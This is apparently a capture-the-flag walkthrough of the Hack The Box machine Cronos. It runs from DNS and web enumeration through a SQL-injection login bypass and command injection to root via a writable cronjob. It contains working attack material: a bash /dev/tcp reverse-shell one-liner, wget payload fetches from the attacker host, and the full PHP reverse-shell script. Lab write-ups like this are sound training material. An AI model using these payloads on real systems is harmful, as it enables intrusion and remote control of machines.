| Name | Cronos |
|---|---|
| Platform | Hack The Box |
| Difficulty | Medium |
| Operating System | Linux |
Initial Enumeration
After running the initial Nmap scan, we see that there are 3 ports open.
nmap -p 22,53,80 -A > full.nmap.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (96%), Linux 3.13 (96%), Linux 3.16 (96%), Linux 3.18 (96%), Linux 3.2 - 4.9 (96%), Linux 3.8 - 3.11 (96%), Linux 4.4 (95%), Linux 4.2 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 97.07 ms 10.10.14.1
2 91.67 ms 10.10.10.13
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.34 seconds
Since it is open, lets do some easy DNS enumeration on the machine. First lets see if we can discover the domain name of the machine by running the nslookup command.
nslookup
> server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53
> 10.10.10.13
13.10.10.10.in-addr.arpa name = ns1.cronos.htb.
Setting the server to Cronos, and then looking up Cronos’ IP, we get back the domain name ns1.cronos.htb , This is useful as it not only provides a domain name to poke at, but also confirms the base domain cronos.htb .
Next, lets try a zone transfer with the dig tool.
dig axfr @10.10.10.13 cronos.htb
This returns another two subdomains, admin and www .
; <<>> DiG 9.19.21-1-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 100 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Tue May 28 09:42:39 EDT 2024
;; XFR size: 7 records (messages 1, bytes 203)
Now that we have found some domain information, lets take a look at the web server to see what we can find. When we just navigate to the IP of the machine we are presented with w default Apache page.
Just out of curiosity, lets see if there are any directories that we can find before adding the hostnames to our /etc/hosts file. We can do that by running many tools but we will just use dirb for now.
dirb http://10.10.10.13/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue May 28 09:18:26 2024
URL_BASE: http://10.10.10.13/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.13/ ----
+ http://10.10.10.13/index.html (CODE:200|SIZE:11439)
+ http://10.10.10.13/server-status (CODE:403|SIZE:299)
-----------------
END_TIME: Tue May 28 09:25:43 2024
DOWNLOADED: 4612 - FOUND: 2
The Dirb scan didn’t result in much. Lets go ahead and add the newly discovered hostnames and subdomain names to our local /etc/hosts file.
Now lets try navigating to the base hostname cronos.htb.
While doing some enumeration of the splash page, all of the links on this page send us to legitimate 3rd party web sites so that is a dead end. These are the technologies that are running on the cronos.htb web page.
Lets try doing some more directory busting. But first lets see if there is a robots.txt in case we can get an easy win.
There does not appear to be anything useful in this file.
Lets fire up dirb and do some directory busting.
dirb http://cronos.htb/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue May 28 09:48:30 2024
URL_BASE: http://cronos.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://cronos.htb/ ----
==> DIRECTORY: http://cronos.htb/css/
+ http://cronos.htb/favicon.ico (CODE:200|SIZE:0)
+ http://cronos.htb/index.php (CODE:200|SIZE:2319)
==> DIRECTORY: http://cronos.htb/js/
+ http://cronos.htb/robots.txt (CODE:200|SIZE:24)
+ http://cronos.htb/server-status (CODE:403|SIZE:298)
+ http://cronos.htb/web.config (CODE:200|SIZE:914)
---- Entering directory: http://cronos.htb/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://cronos.htb/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it anyway)
-----------------
END_TIME: Tue May 28 09:55:46 2024
DOWNLOADED: 4612 - FOUND: 5
Looks like we have found a few more pages. None of these bear too much fruit at the moment with the exception of web.config and js . Lets check out the web.config file.
Since we have two subdomain names from our DNS querying earlier, lets pivot to those as they might be more fruitful. Lets navigate to the domain admin.cronos.htb.
Looks like we have found a login panel. After trying a few default credentials, we are still locked out. Lets switch over to the other subdomain ns1.cronos.htb and see if there is anything useful over there.
Looks like just a default Apache web page.
Lets do some more directory busting, to see if there is anything interesting.
dirb http://ns1.cronos.htb/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue May 28 10:04:28 2024
URL_BASE: http://ns1.cronos.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://ns1.cronos.htb/ ----
+ http://ns1.cronos.htb/index.html (CODE:200|SIZE:11439)
+ http://ns1.cronos.htb/server-status (CODE:403|SIZE:302)
-----------------
END_TIME: Tue May 28 10:11:43 2024
DOWNLOADED: 4612 - FOUND: 2
Nothing to see here, moving on. Lets hop back to the admin login panel and see if there are any potential vulnerabilities that we can exploit.
Firstly, lets capture some traffic being sent over to the victim machine with a web proxy like Burp Suite . From the intercepted traffic we can see that there are just simple username and password fields being used to send the login data. Lets use a tool such as Turbo Intruder to bypass the rate limiting that the community edition of Burp Suite implements on the brute forcing tool Intruder.
Lets replace the field that we want to brute force with %s and make sure to set the wordlist within the python script below. Considering that we are targeting a login page, a common vulnerability is a SQLi (SQL Injection). So, lets set the wordlist to a common list of SQLi authentication bypass commands and fire it off.
In the response to some of the requests, I noticed that the length was different for several of them. This is interesting and could indicate something amiss.
Lets copy one of these requests and throw it into the Burp Suite tool Repeater to analyze it further.
Upon following the redirect, I was brought to a new page, which appears to show that we have successfully bypassed the authentication with a SQLi.
Lets do some more enumeration. This appears to be a web tool that runs the command traceroute on whatever IP you provide. This is potentially dangerous, since traceroute is running a command line tool. If we are able to escape it our run something else altogether, we might be able to get code execution.
Initial Foothold
If we intercept this traffic again, we can see that we have control not just over the ip but also the command traceroute .
Lets see if we can get a callback to our machine by replacing the command to nc and the ip to our local host. First make sure to set up a listener.
nmc -nvlp 1234
BOOM!! Looks like we can change the command to be whatever we want! Lets set up another listener and see if we can get a reverse shell.
First lets create a reverse shell file and host it up with a simple python HTTP server .
echo "bash -i >& /dev/tcp/10.10.14.17/1234 0>&1" > rev.sh
python -m http.server 80
Next lets change the command to wget and the host to our host and the file that we are hosting rev.sh.
We successfully got the machine to reach out to us and grab a file and store it locally. This is huge. Now lets set up a listener and try to execute the reverse shell.
Now, lets change the command to the executable /bin/bash ./rev/sh and leave the host blank. Before we send this to the victim machine lets set up a new listener to catch the reverse shell.
nc -nvlp 1234
BOOM BOOM BOOM!! Pop goes the reverse shell!!! We have now have a reverse shell
Privilege Escalation
First things first, I like to run automated scripts along side manual enumeration to be as thorough as possible. Since we have command line access, lets go ahead and host the file linpeas.sh with a simple python HTTP server.
python -m http.server 80
Then pull the file down to the victim machine with the following command.
wget http://<kali_ip>/linpeas.sh
Then, just make the file executable and fire it off.
chmod +x lineas.sh
./linpeas.sh
Quite quickly linpeas discovered a potential cronjob misconfiguration vulnerability. It appears that the the root user is running a cronjob every minute on a file.
If we check out the permissions on this file, we notice that we have ownership of the file. This seems like an easy escalation, by just replacing the file with a reverse shell file and waiting for the cronjob to execute again.
Since root is running php we should replace this file with a php reverse shell of our choosing. Lets use the following shell that can be found when searching pentestmonkey on google.
<?php
//
//
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.27'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Lets host this file locally.
python -m http.server 80
Then we can pull this file down to the victim machine with the following command.
wget http://<kali_ip>/rev.php
Next, lets set up a local listener on our kali machine to catch the reverse shell.
nc -nvlp 1235
Now, lets copy this reverse shell file into the cronjob file.
Boom!! PWNED!!! We are now running as root.